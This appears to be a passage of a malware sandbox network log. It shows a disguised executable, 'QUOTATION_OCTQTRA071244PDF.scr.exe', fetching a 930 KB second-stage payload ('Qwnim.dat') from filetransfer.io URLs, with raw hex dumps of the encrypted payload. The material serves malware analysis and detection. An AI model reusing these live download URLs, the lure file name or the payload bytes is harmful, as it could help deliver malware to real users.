Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50280	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:35 UTC	74	OUT	GET /storage/download/WRMLI4CLhfdR HTTP/1.1 Host: s23.filetransfer.io
2024-10-04 09:26:36 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:36 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=6ce00109b4db380e779f7cee6b287c09; expires=Fri, 18-Oct-2024 09:26:35 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C6owDtmGabW21NMmCN%2Fu%2BdH2y9wSuZ94HbR8drygDVsMLJajw3WLLHswIpDLMJ%2FRYZYVZAJbq087XFVbCkUnd1WWFiC2BQMjxLD8tdJBCDHGvIMkcZVpmFnljnCVUBPMlg8%2FG%2Flv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd421987fb61a13-EWR
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:26:36 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50284	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:38 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:39 UTC	1106	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=9ofgdjt8vt1c3h17t6lcvo9t05; expires=Fri, 18-Oct-2024 09:26:39 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/LnCn4Sq9X9QI CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EHtTFFOyka6rlZPnVmEhjrr5YRDeqxRTADukg38w7Og%2F3gbx709TSVLfzTamYT%2BCZg%2B7zP3rIhs0t%2BaEoUzLehvJQsGFiZfspd%2FAW%2F5c%2FTs2d01eouRDICcIWL5TL%2Fa9eQw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421aca8fe72b9-EWR alt-svc: h3=":443"; ma=86400
2024-10-04 09:26:39 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 4c 6e 43 6e 34 53 71 39 58 39 51 49 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/LnCn4Sq9X9QI">Please click here to continue</a>.</p>
2024-10-04 09:26:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50285	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:40 UTC	98	OUT	GET /storage/download/LnCn4Sq9X9QI HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:41 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:41 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=87e1c19c23ef33f0a8416ba230f64c10; expires=Fri, 18-Oct-2024 09:26:40 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7KF7joT%2BEzFRerpG4MHUv1ZKr0%2B5thh0T723etXahF5xNUVjnW13a%2BC2gpzXftpgsR1IVBpB%2BhujOxw3%2FkgtKJF2xhXjoZFikfhA83AaW8bIrHGvEr%2Bc6kRFgdQyhvzn8tElQtEF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd421b4ab3442b8-EWR
2024-10-04 09:26:41 UTC	343	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 Data Ascii: p&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 